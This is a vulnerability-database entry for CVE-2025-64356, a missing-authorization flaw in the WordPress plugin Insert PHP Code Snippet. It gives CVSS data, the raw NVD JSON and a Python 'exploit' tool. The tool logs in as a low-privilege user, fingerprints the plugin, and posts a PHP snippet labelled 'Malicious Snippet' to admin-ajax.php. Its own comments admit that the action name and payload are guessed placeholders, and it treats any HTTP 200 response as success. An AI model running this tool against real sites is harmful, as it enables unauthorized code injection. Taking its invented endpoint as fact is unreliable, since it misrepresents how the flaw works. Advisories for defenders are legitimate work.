Security Vulnerability Report
中文
CVE-2025-64356 CVSS 4.3 MEDIUM

CVE-2025-64356

Published: 2025-10-31 12:15:36
Last Modified: 2026-04-15 00:35:42

Description

Missing Authorization vulnerability in f1logic Insert PHP Code Snippet insert-php-code-snippet allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Insert PHP Code Snippet: from n/a through <= 1.4.3.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Insert PHP Code Snippet 插件 所有版本 <= 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
''' CVE-2025-64356 PoC - WordPress Insert PHP Code Snippet Missing Authorization Target: WordPress with Insert PHP Code Snippet plugin <= 1.4.3 Author: Security Researcher Reference: https://patchstack.com/database/Wordpress/Plugin/insert-php-code-snippet/vulnerability/wordpress-insert-php-code-snippet-plugin-1-4-3-broken-access-control-vulnerability ''' import requests import sys from urllib.parse import urljoin def exploit_cve_2025_64356(target_url, wp_username, wp_password): """ Exploit for Missing Authorization vulnerability in Insert PHP Code Snippet plugin This PoC demonstrates how low-privilege users can access admin functions """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': wp_username, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as {wp_username}...') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Exploit the missing authorization vulnerability # Target the plugin's AJAX endpoint or admin function ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # This is a representative payload - actual exploitation requires # identifying the specific vulnerable endpoint exploit_data = { 'action': 'insert_php_code_snippet_action', # Example action name 'snippet_code': '<?php phpinfo(); ?>', 'snippet_name': 'Malicious Snippet', 'security_token': '' # Missing or bypassable nonce } print('[*] Attempting to exploit missing authorization...') exploit_response = session.post(ajax_url, data=exploit_data) if exploit_response.status_code == 200: print('[+] Potential exploitation successful!') print(f'[+] Response: {exploit_response.text[:500]}') return True else: print('[-] Exploitation attempt returned status:', exploit_response.status_code) return False def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-64356 """ # Check if Insert PHP Code Snippet plugin is installed plugin_check_urls = [ urljoin(target_url, '/wp-content/plugins/insert-php-code-snippet/readme.txt'), urljoin(target_url, '/wp-content/plugins/insert-php-code-snippet/insert-php-code-snippet.php') ] for url in plugin_check_urls: try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f'[+] Plugin detected at: {url}') # Check version from readme if 'readme' in url: for line in response.text.split('\n'): if 'Stable tag:' in line or 'Version:' in line: print(f'[*] Plugin version: {line.strip()}') return True except requests.RequestException: continue print('[-] Insert PHP Code Snippet plugin not found') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print(f'Example: python {sys.argv[0]} http://example.com subscriber password123') sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print(f'[*] Target: {target}') print(f'[*] CVE-2025-64356 Exploitation Tool') print('=' * 50) if check_vulnerability(target): exploit_cve_2025_64356(target, username, password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64356", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:35.913", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in f1logic Insert PHP Code Snippet insert-php-code-snippet allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Insert PHP Code Snippet: from n/a through <= 1.4.3."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en f1logic Insert PHP Code Snippet insert-php-code-snippet permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Insert PHP Code Snippet: desde n/a hasta menor igual que 1.4.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/insert-php-code-snippet/vulnerability/wordpress-insert-php-code-snippet-plugin-1-4-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}